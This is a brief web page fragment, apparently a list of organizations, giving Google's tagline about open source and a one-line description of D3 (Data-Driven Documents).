  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.